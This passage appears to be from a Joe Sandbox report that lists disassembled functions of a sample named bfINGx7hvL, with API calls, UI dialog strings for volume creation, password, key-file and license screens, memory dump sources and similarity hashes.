String ID: ABOUT$BUTTON_ACTIVATE$BUTTON_BUY_NOW$BUTTON_OK$BUTTON_RENEW_NOW$Dialog$LABEL_EMAIL$LABEL_EXPIRATION_DATE$LABEL_LICENSE_INFORMATION$LABEL_LICENSE_NAME$LABEL_LICENSE_TYPE$LABEL_VERSION$LABEL_WEBSITE$PZ$STR_EVALUATION$STR_EXPIRED$STR_FULL_VERSION$STR_NEVER_EXPIRE$STR_PERIOD$STR_TRIAL_USER$STR_WARNING
API String ID: 2978645861-1264822288
Opcode ID: 00a2a97fe1f60d0aec0fcebd03ac9dd2d64f8ef7b0db57bfe3160a173c2d7c58
Instruction ID: 09f988efe70033d8e473a9f7232813dacc2a91003eb6b0b4d5e56ea2171130c4
Opcode Fuzzy Hash: 00a2a97fe1f60d0aec0fcebd03ac9dd2d64f8ef7b0db57bfe3160a173c2d7c58
Instruction Fuzzy Hash: 1E31BE623C472133EA2B25322E17FAE08491B48F55F24605ABE45ADAC1FFCCEE41D55D

Function 00405100 Relevance: 39.0, APIs: 16, Strings: 6, Instructions: 471filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 004A6F60: EnterCriticalSection.KERNEL32(005BE2CC,0049B07A,0049B078), ref: 004A7032
Part of subcall function 004A6F60: LeaveCriticalSection.KERNEL32(?,?,?), ref: 004A70D6

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040535D
ReadFile.KERNEL32(00000000,?,00010000,?,00000000), ref: 00405383
GetFileSizeEx.KERNEL32(00000000,?), ref: 004053A5
CloseHandle.KERNEL32(00000000), ref: 004053B4
GetLastError.KERNEL32 ref: 004053BA
FormatMessageW.KERNEL32(00001300,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004053E6
LocalFree.KERNEL32(?), ref: 00405412
CloseHandle.KERNEL32(00000000), ref: 0040543A
CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?), ref: 0040553F

Part of subcall function 004A72E0: DeviceIoControl.KERNEL32(?,07770C40,00000000,00000285,00000000,00000285,?,00000000), ref: 004A736D
Part of subcall function 004A72E0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 004A7390

GetFileSizeEx.KERNEL32(00000000,?), ref: 0040559C
CloseHandle.KERNEL32(00000000), ref: 004055AB
CloseHandle.KERNEL32(00000000), ref: 004055C2
SetLastError.KERNEL32(00000026), ref: 004055CA
CloseHandle.KERNEL32(00000000,?,00000000,00000000,00000000,?), ref: 004055F8
SetLastError.KERNEL32(00000072), ref: 0040567F
CloseHandle.KERNEL32(00000000), ref: 0040568B

Strings

0049, xrefs: 004052A2
0007, xrefs: 00405704
0046, xrefs: 00405624
0050, xrefs: 004054F2
0036, xrefs: 004052EA, 0040546A, 0040563B, 0040569E
0029, xrefs: 004053FE

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CloseHandle$File$ErrorLast$CreateCriticalMessageSectionSize$ControlDeviceEnterFormatFreeLeaveLocalPeekRead
String ID: 0007$0029$0036$0046$0049$0050
API String ID: 2213350598-2618284430
Opcode ID: 3cedeb5193330f896e723b8cf1009cf94272856b10c52bc489cced8b4fc20aa4
Instruction ID: 318539d08eab5a61179405a0b6b8b6fd3223384e63cadc680ddb675490b3d449
Opcode Fuzzy Hash: 3cedeb5193330f896e723b8cf1009cf94272856b10c52bc489cced8b4fc20aa4
Instruction Fuzzy Hash: 63F1C0352147019BEB20AB20CC89FAB37A5EF45705F04052EF955AB3D1DBB8E844CF6A

Function 04297404 Relevance: 36.9, APIs: 1, Strings: 20, Instructions: 147memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 042974B4

Strings

K, xrefs: 0429762D
5, xrefs: 04297536
/, xrefs: 0429743A
#, xrefs: 042974DC
', xrefs: 042974F0
!, xrefs: 042974D2
%, xrefs: 042974E6
+, xrefs: 0429741A
., xrefs: 04297442
0, xrefs: 042976EE
1, xrefs: 04297522
9, xrefs: 042974FA
7, xrefs: 04297540
-, xrefs: 0429744A
;, xrefs: 04297504
^, xrefs: 0429763D
?, xrefs: 04297518
), xrefs: 0429742A
3, xrefs: 0429752C
=, xrefs: 0429750E

Memory Dump Source

Source File: 00000000.00000002.2431959827.0000000004261000.00000020.10000000.00040000.00000000.sdmp, Offset: 04261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4261000_bfINGx7hvL.jbxd

Similarity

API ID: AllocString
String ID: !$#$%$'$)$+$-$.$/$0$1$3$5$7$9$;$=$?$K$^
API String ID: 2525500382-2333071540
Opcode ID: a464662847f9114f1ef6d5440e4478894368b9f1bb84fc0dae02ac400c878f4b
Instruction ID: d8fd71a55334a0c80a5a300f33077a2fab999a6e83b1d22a0f6e29e21879abd0
Opcode Fuzzy Hash: a464662847f9114f1ef6d5440e4478894368b9f1bb84fc0dae02ac400c878f4b
Instruction Fuzzy Hash: CC91A26011C7C1CED332DA3C844879FBEE16BA6224F184A9DE1E98B3E2C7758545DB63

Function 004722B0 Relevance: 36.2, APIs: 6, Strings: 18, Instructions: 164COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(005BDCE4,00000000,?,00000000,0047263E,00000000,?,00000000,00000000,?,?,?,?,00000000,0053B15B,000000FF), ref: 004722C0
LeaveCriticalSection.KERNEL32(005BDCE4,?,?,?,?,00000000,0053B15B,000000FF), ref: 004722D8
EnterCriticalSection.KERNEL32(005BDCE4,00000000,Menu,00000394,STANDARD,?,?,?,?,00000000,0053B15B,000000FF), ref: 00472305
LeaveCriticalSection.KERNEL32(005BDCE4,?,?,?,?,00000000,0053B15B,000000FF), ref: 00472317

Part of subcall function 004C24A0: WideCharToMultiByte.KERNEL32(00000003,00000000,?,000000FF,?, v,00000000,00000000,00000000,?,00000000,?,00000003,?,00583B28,00000000), ref: 004C2699

EnterCriticalSection.KERNEL32(005BDCE4,00000000,Menu,00000374,STANDARD,?,?,?,?,00000000,0053B15B,000000FF), ref: 00472344
LeaveCriticalSection.KERNEL32(005BDCE4,?,?,?,?,00000000,0053B15B,000000FF), ref: 00472356

Part of subcall function 00424910: EnterCriticalSection.KERNEL32(005BDCE4,?,?,?,004A01A9,Dialog\Button,BASE_DIALOG|CLOSE,0000000C,INACTIVATE_TITLE_TEXT,0000000B,INACTIVATE_TITLE_END,0000000A,INACTIVATE_TITLE_BEGIN,00000009,ACTIVATE_TITLE_END,00000008), ref: 0042491C
Part of subcall function 00424910: LeaveCriticalSection.KERNEL32(005BDCE4,?,004A01A9,Dialog\Button,BASE_DIALOG|CLOSE,0000000C,INACTIVATE_TITLE_TEXT,0000000B,INACTIVATE_TITLE_END,0000000A,INACTIVATE_TITLE_BEGIN,00000009,ACTIVATE_TITLE_END,00000008,ACTIVATE_TITLE_BEGIN,00000007), ref: 0042492F

Strings

IMG_SHADOW_BOTTOM, xrefs: 004724CB
STANDARD, xrefs: 004722E6, 00472325, 00472364
IMG_SHADOW_TOP, xrefs: 004724A7
IMG_SHADOW_LB, xrefs: 00472471
IMG_SHADOW_LT, xrefs: 00472445
Menu, xrefs: 004722EC, 0047232B, 0047236A
IMG_TITLE, xrefs: 004723DC
IMG_GLOSS_TEXTURE, xrefs: 004724DD
IMG_PAGEBUTTON_DOWN, xrefs: 004723C6
IMG_SHADOW_LEFT, xrefs: 00472495
IMG_SHADOW_RT, xrefs: 0047245B
IMG_CHECKED, xrefs: 0047237E
IMG_SHADOW_RB, xrefs: 00472483
IMG_POPUP, xrefs: 0047239A
IMG_SHADOW_RIGHT, xrefs: 004724B9
IMG_PAGEBUTTON_UP, xrefs: 004723B0
Menu\Shadow, xrefs: 004723F7, 00472414, 0047242D
STANDARD||TYPE_1, xrefs: 004723F2, 0047240F, 00472428

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ByteCharMultiWide
String ID: IMG_CHECKED$IMG_GLOSS_TEXTURE$IMG_PAGEBUTTON_DOWN$IMG_PAGEBUTTON_UP$IMG_POPUP$IMG_SHADOW_BOTTOM$IMG_SHADOW_LB$IMG_SHADOW_LEFT$IMG_SHADOW_LT$IMG_SHADOW_RB$IMG_SHADOW_RIGHT$IMG_SHADOW_RT$IMG_SHADOW_TOP$IMG_TITLE$Menu$Menu\Shadow$STANDARD$STANDARD||TYPE_1
API String ID: 904232820-4271733006
Opcode ID: fdc82d2778dd63787b58c29ba190d88ef52f95139b13abb2df8026b8eb4a0fd9
Instruction ID: d1ca696b88e7c6926439ed5789eab024851eeebd8278ddf3fbe08148c7662b1b
Opcode Fuzzy Hash: fdc82d2778dd63787b58c29ba190d88ef52f95139b13abb2df8026b8eb4a0fd9
Instruction Fuzzy Hash: BC4166703C071267EA0576325D03FAA69597F90B45F08801FBA1DBA1C2EFD8E90096BD

Function 00444430 Relevance: 33.2, APIs: 6, Strings: 16, Instructions: 150COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(005BDCE4), ref: 00444440
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 00444458
EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,?,CREATING_VOLUME), ref: 00444485
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 00444497

Part of subcall function 004C24A0: WideCharToMultiByte.KERNEL32(00000003,00000000,?,000000FF,?, v,00000000,00000000,00000000,?,00000000,?,00000003,?,00583B28,00000000), ref: 004C2699

EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,?,CREATING_VOLUME), ref: 004444C4
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 004444D6

Strings

ELAPSED_TIMES_Y, xrefs: 004445B4
CHECKBOX_CLOSE_X, xrefs: 004445FC
PROGRESS_BAR_Y, xrefs: 004445EA
CHECKBOX_CLOSE_Y, xrefs: 0044460E
REMAINING_TIMES_Y, xrefs: 004445C6
ICON_X, xrefs: 004444FE
SPEED_Y, xrefs: 00444588
Dialog, xrefs: 0044446C, 004444AB, 004444EA
FILENAME_Y, xrefs: 00444546
COMPLETED_Y, xrefs: 0044459E
CREATING_VOLUME, xrefs: 00444466, 004444A5, 004444E4
PATH_X, xrefs: 0044455C
PATH_Y, xrefs: 00444572
PROGRESS_BAR_X, xrefs: 004445D8
FILENAME_X, xrefs: 00444530
ICON_Y, xrefs: 0044451A

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ByteCharMultiWide
String ID: CHECKBOX_CLOSE_X$CHECKBOX_CLOSE_Y$COMPLETED_Y$CREATING_VOLUME$Dialog$ELAPSED_TIMES_Y$FILENAME_X$FILENAME_Y$ICON_X$ICON_Y$PATH_X$PATH_Y$PROGRESS_BAR_X$PROGRESS_BAR_Y$REMAINING_TIMES_Y$SPEED_Y
API String ID: 904232820-2618109599
Opcode ID: 1563389ca7e6bff05b978fe7bd61b38159bc0f150c51b316783dfa8b6d7ca170
Instruction ID: 894f6084bdbb1a62b58e92d0cb2c024dc5b6c8091a70dcc14a00fb35b55d1dfc
Opcode Fuzzy Hash: 1563389ca7e6bff05b978fe7bd61b38159bc0f150c51b316783dfa8b6d7ca170
Instruction Fuzzy Hash: 51419730380B027AFA4463329D23F7B1A5ABB51F45F41402BBA05E62C1EFDCE911969D

Function 00432610 Relevance: 33.1, APIs: 6, Strings: 16, Instructions: 146COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(005BDCE4), ref: 00432620
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 00432638
EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,?,REGISTRATION_REMINDER_MINI), ref: 00432665
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 00432677

Part of subcall function 004C24A0: WideCharToMultiByte.KERNEL32(00000003,00000000,?,000000FF,?, v,00000000,00000000,00000000,?,00000000,?,00000003,?,00583B28,00000000), ref: 004C2699

EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,?,REGISTRATION_REMINDER_MINI), ref: 004326A4
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 004326B6

Strings

CR_WARNING, xrefs: 004327D6
CR_BOTTOM_BACKGROUND_END, xrefs: 004327A0
CR_BACKGROUND_BEGIN, xrefs: 00432762
CR_TITLE, xrefs: 004327B2
Dialog, xrefs: 0043264C, 0043268B, 004326CA
IMG_ARROW, xrefs: 004327FE
CR_BOTTOM_BACKGROUND_BEGIN, xrefs: 0043278E
CR_GENERAL, xrefs: 004327C4
CR_BORDER_BACKGROUND, xrefs: 00432746
PM_ARROW_X, xrefs: 0043272C
CR_BACKGROUND_END, xrefs: 00432778
PM_FILLET2, xrefs: 00432712
PM_FILLET, xrefs: 004326F8
REGISTRATION_REMINDER_MINI, xrefs: 00432646, 00432685, 004326C4
IMG_ICON, xrefs: 004327E8
PM_BORDER, xrefs: 004326DE

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ByteCharMultiWide
String ID: CR_BACKGROUND_BEGIN$CR_BACKGROUND_END$CR_BORDER_BACKGROUND$CR_BOTTOM_BACKGROUND_BEGIN$CR_BOTTOM_BACKGROUND_END$CR_GENERAL$CR_TITLE$CR_WARNING$Dialog$IMG_ARROW$IMG_ICON$PM_ARROW_X$PM_BORDER$PM_FILLET$PM_FILLET2$REGISTRATION_REMINDER_MINI
API String ID: 904232820-3547206135
Opcode ID: b58ab82fcadba15aae9994f977523bea4edf7cb2760220261414fbd3c49184fa
Instruction ID: 0a878cd1433689f4d0d3299847657b5edb1d1d45717a6218fa825460d51ef61a
Opcode Fuzzy Hash: b58ab82fcadba15aae9994f977523bea4edf7cb2760220261414fbd3c49184fa
Instruction Fuzzy Hash: 1A416530380B0276DA18B6729D12FA77A557B04F4AF44523BB618E61C2FFD8F815CE59

Function 00447140 Relevance: 31.6, APIs: 6, Strings: 15, Instructions: 145COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(005BDCE4), ref: 00447150
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 00447168
EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,?,CHANGE_PASSWORD), ref: 00447195
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 004471A7

Part of subcall function 004C24A0: WideCharToMultiByte.KERNEL32(00000003,00000000,?,000000FF,?, v,00000000,00000000,00000000,?,00000000,?,00000003,?,00583B28,00000000), ref: 004C2699

EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,?,CHANGE_PASSWORD), ref: 004471D4
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 004471E6

Strings

PM_ICON_X, xrefs: 00447224
PM_EIDT_INTERVAL, xrefs: 0044731A
PM_EDIT_LEFT, xrefs: 004472F6
PM_EDIT_PASSWORD_X, xrefs: 00447256
Dialog, xrefs: 0044717C, 004471BB, 004471FA
PM_EDIT_NEW_PASSWORD_2_X, xrefs: 004472AE
PM_EDIT_HEIGHT, xrefs: 004472E4
PM_EDIT_TOP, xrefs: 00447308
PM_EDIT_NEW_PASSWORD_2_Y, xrefs: 004472C0
PM_EDIT_PASSWORD_Y, xrefs: 0044726C
PM_EDIT_NEW_PASSWORD_1_Y, xrefs: 00447298
CHANGE_PASSWORD, xrefs: 00447176, 004471B5, 004471F4
PM_EDIT_NEW_PASSWORD_1_X, xrefs: 00447282
PM_EDIT_WIDTH, xrefs: 004472D2
PM_ICON_Y, xrefs: 00447240

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ByteCharMultiWide
String ID: CHANGE_PASSWORD$Dialog$PM_EDIT_HEIGHT$PM_EDIT_LEFT$PM_EDIT_NEW_PASSWORD_1_X$PM_EDIT_NEW_PASSWORD_1_Y$PM_EDIT_NEW_PASSWORD_2_X$PM_EDIT_NEW_PASSWORD_2_Y$PM_EDIT_PASSWORD_X$PM_EDIT_PASSWORD_Y$PM_EDIT_TOP$PM_EDIT_WIDTH$PM_EIDT_INTERVAL$PM_ICON_X$PM_ICON_Y
API String ID: 904232820-2465005945
Opcode ID: 3430bf9ee36cb6a63971e56141cead649e770664fe3d6e06a106b8383a58ca55
Instruction ID: d6ba44327f6387490c6c5f3919e2e623994676edf6e9c8a4ed366ae526e773d0
Opcode Fuzzy Hash: 3430bf9ee36cb6a63971e56141cead649e770664fe3d6e06a106b8383a58ca55
Instruction Fuzzy Hash: EE41657038470266EA60BB328D16BBA19956B54F45F04002BBE46F62C1FFD8E901D2AD

Function 00404440 Relevance: 31.6, APIs: 6, Strings: 15, Instructions: 145COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(005BDCE4), ref: 00404450
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 00404468
EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,?,CHANGE_KEY_FILE), ref: 00404495
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 004044A7

Part of subcall function 004C24A0: WideCharToMultiByte.KERNEL32(00000003,00000000,?,000000FF,?, v,00000000,00000000,00000000,?,00000000,?,00000003,?,00583B28,00000000), ref: 004C2699

EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,?,CHANGE_KEY_FILE), ref: 004044D4
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 004044E6

Strings

PM_ICON_X, xrefs: 00404524
CHANGE_KEY_FILE, xrefs: 00404476, 004044B5, 004044F4
PM_EIDT_INTERVAL, xrefs: 0040461A
PM_EDIT_LEFT, xrefs: 004045F6
PM_EDIT_PASSWORD_X, xrefs: 00404556
Dialog, xrefs: 0040447C, 004044BB, 004044FA
PM_EDIT_NEW_PASSWORD_2_X, xrefs: 004045AE
PM_EDIT_HEIGHT, xrefs: 004045E4
PM_EDIT_TOP, xrefs: 00404608
PM_EDIT_NEW_PASSWORD_2_Y, xrefs: 004045C0
PM_EDIT_PASSWORD_Y, xrefs: 0040456C
PM_EDIT_NEW_PASSWORD_1_Y, xrefs: 00404598
PM_EDIT_NEW_PASSWORD_1_X, xrefs: 00404582
PM_EDIT_WIDTH, xrefs: 004045D2
PM_ICON_Y, xrefs: 00404540

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ByteCharMultiWide
String ID: CHANGE_KEY_FILE$Dialog$PM_EDIT_HEIGHT$PM_EDIT_LEFT$PM_EDIT_NEW_PASSWORD_1_X$PM_EDIT_NEW_PASSWORD_1_Y$PM_EDIT_NEW_PASSWORD_2_X$PM_EDIT_NEW_PASSWORD_2_Y$PM_EDIT_PASSWORD_X$PM_EDIT_PASSWORD_Y$PM_EDIT_TOP$PM_EDIT_WIDTH$PM_EIDT_INTERVAL$PM_ICON_X$PM_ICON_Y
API String ID: 904232820-2296903074
Opcode ID: 35b27466a8b495ad65cc37f8dcaf438aa743d653b1952fa199469e3722628324
Instruction ID: 60bedd108f03b1c2e1c50752b9538914c8de37de6d91beb2e3fc44abb839224a
Opcode Fuzzy Hash: 35b27466a8b495ad65cc37f8dcaf438aa743d653b1952fa199469e3722628324
Instruction Fuzzy Hash: C741457038074276EA50B722CD52F7A19956B91F4AF04043BBB47B72C1FEADE901866D

Function 004516E0 Relevance: 31.6, APIs: 3, Strings: 15, Instructions: 95COMMON

Download Yara Rule

APIs

TryEnterCriticalSection.KERNEL32(005BDCCC), ref: 004516E8
LeaveCriticalSection.KERNEL32(005BDCCC,Dialog,SETTINGS), ref: 0045170F
LeaveCriticalSection.KERNEL32(005BDCCC,0000000B,BUTTON_APPLY,0000000A,BUTTON_CANCEL,00000009,BUTTON_OK,00000008,BUTTON_RESTORE,00000007,TABBUTTON_USER_INTERFACE,00000006,TABBUTTON_FILE_ASSOCIATION,00000005,TABBUTTON_HOTKEYS,00000004), ref: 00451814

Strings

BUTTON_CANCEL, xrefs: 004517E3
BUTTON_APPLY, xrefs: 004517F9
PZ, xrefs: 004516FC
Dialog, xrefs: 004516F7
TABBUTTON_USER_INTERFACE, xrefs: 004517A1
BUTTON_RESTORE, xrefs: 004517B7
TABBUTTON_PRIVACY, xrefs: 00451767
TABBUTTON_DISMOUNT, xrefs: 00451755
TABBUTTON_MOUNT, xrefs: 00451743
SETTINGS, xrefs: 004516F2
TABBUTTON_GENERAL, xrefs: 00451719
TABBUTTON_FILE_ASSOCIATION, xrefs: 0045178B
BUTTON_OK, xrefs: 004517CD
TABBUTTON_HOTKEYS, xrefs: 00451779
TABBUTTON_ENCRYPTION, xrefs: 00451731

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalSection$Leave$Enter
String ID: BUTTON_APPLY$BUTTON_CANCEL$BUTTON_OK$BUTTON_RESTORE$Dialog$PZ$SETTINGS$TABBUTTON_DISMOUNT$TABBUTTON_ENCRYPTION$TABBUTTON_FILE_ASSOCIATION$TABBUTTON_GENERAL$TABBUTTON_HOTKEYS$TABBUTTON_MOUNT$TABBUTTON_PRIVACY$TABBUTTON_USER_INTERFACE
API String ID: 2978645861-2085767557
Opcode ID: 8f730f8336e4edca7c593f181bb04b7661c1013c70494e6cf3742296e58b1598
Instruction ID: dee03ef0cf6cbe1d92bb95a76faa4843bfbdc680406790e37bf0c27b90719b4a
Opcode Fuzzy Hash: 8f730f8336e4edca7c593f181bb04b7661c1013c70494e6cf3742296e58b1598
Instruction Fuzzy Hash: A5214C223C472522EA5A22362D5BB2F09492B0DF5AF24405ABF05AD2D3FFCDCD45D19D

Function 042964E0 Relevance: 31.6, APIs: 2, Strings: 16, Instructions: 84COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 042964EA
VariantInit.OLEAUT32 ref: 042964FD

Strings

K, xrefs: 042965F3
], xrefs: 04296583
c, xrefs: 04296533
p=)u, xrefs: 042964FD
Y, xrefs: 04296563
_, xrefs: 04296593
g, xrefs: 04296553
[, xrefs: 04296573
Q, xrefs: 042965A3
I, xrefs: 042965E3
e, xrefs: 04296543
U, xrefs: 042965C3
a, xrefs: 04296523
W, xrefs: 042965D3
J, xrefs: 042965EB
S, xrefs: 042965B3

Memory Dump Source

